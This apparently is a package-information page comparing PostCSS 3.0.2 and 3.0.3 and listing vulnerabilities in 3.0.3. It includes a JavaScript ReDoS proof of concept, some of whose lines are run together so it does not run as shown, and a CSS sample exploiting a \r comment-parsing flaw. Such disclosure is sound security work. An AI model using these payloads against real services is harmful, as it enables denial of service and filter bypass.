PostCSS version 3.0.3 represents a minor update to the popular CSS post-processing framework, building upon the foundation laid by version 3.0.2. Both versions share the core functionality of enabling powerful CSS transformations through plugins, boasting full source map support and a lightweight architecture. Developers relying on PostCSS for tasks like vendor prefixing, future CSS syntax adoption, or custom CSS features will find both versions capable.
Key differences between versions 3.0.2 and 3.0.3 primarily involve updates to the development dependencies used in building and testing the library itself. Notably, 6to5 moves from version 1.12.12 to 1.12.26, stylecow from 3.0.2 to 3.1.0, gulp-6to5 from 1.0.1 to 1.0.2, gulp-mocha from 1.1.1 to 2.0.0 and gonzales-pe from 3.0.0-10 to 3.0.0-11. Developers directly consuming PostCSS's API or plugin ecosystem are unlikely to experience breaking changes due to these updates.
The version bump primarily reflects improvements in the developer tooling and testing environment. If you have very specific compatibility needs with extremely old tooling versions, those specific sub-dependencies might require consideration. However, in most modern development workflows choosing the latest version (3.0.3) is recommended. Ultimately, both versions empower developers to write more modular, maintainable, and future-proof CSS.
All the vulnerabilities related to the version 3.0.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.